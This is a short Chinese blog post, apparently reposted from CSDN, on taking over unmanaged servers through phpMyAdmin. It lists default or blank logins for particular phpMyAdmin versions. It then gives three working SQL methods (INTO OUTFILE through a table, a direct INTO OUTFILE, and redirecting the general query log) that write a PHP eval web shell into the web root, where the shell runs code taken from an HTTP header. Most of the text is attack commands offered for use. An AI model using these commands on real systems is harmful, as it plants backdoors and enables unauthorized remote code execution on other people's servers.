无人管理的闲置主机

  • 默认 phpMyAdmin:用户名 root、密码 root 或空登陆。
  • 版本 2.11.3~2.11.4:用户名 localhost 登陆,无需密码。
  • 版本 2.11.9.2:用户名 root 登陆,无需密码。

方法一

CREATE TABLE EVIL(EVIL_COL text NOT NULL);
INSERT INTO EVIL(EVIL_COL) VALUES('<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>');
SELECT EVIL_COL from EVIL INTO OUTFILE '/home/wwwroot/default/test.php';
DROP TABLE IF EXISTS EVIL;
  • select @@basedir 可以看到 mysql 所在的绝对路径

方法二

SELECT '<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>' INTO OUTFILE '/home/wwwroot/default/test.php';

这两种方法在新版 MySQL 中已经默认禁用。

SHOW VARIABLES LIKE 'secure_file_priv';

默认 VALUE 值为 NULL,即禁止。需要在设置文件中手动开启。

方法三

  • general log 指的是日志保存状态,一共有两个值 ON/OFF。开启它可以记录用户输入的每条命令,会把其保存在一个 log 文件中,也就是我们常说的日志文件。
  • general log file 指的是日志的保存路径。

查询

SHOW VARIABLES LIKE 'general%'

设置输出文件并插入一句话:

SET global general_log='ON';
SET global general_log_file='/home/wwwroot/default/test.php';
SELECT '<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>';

猜你喜欢

转载自blog.csdn.net/kencaber/article/details/88765363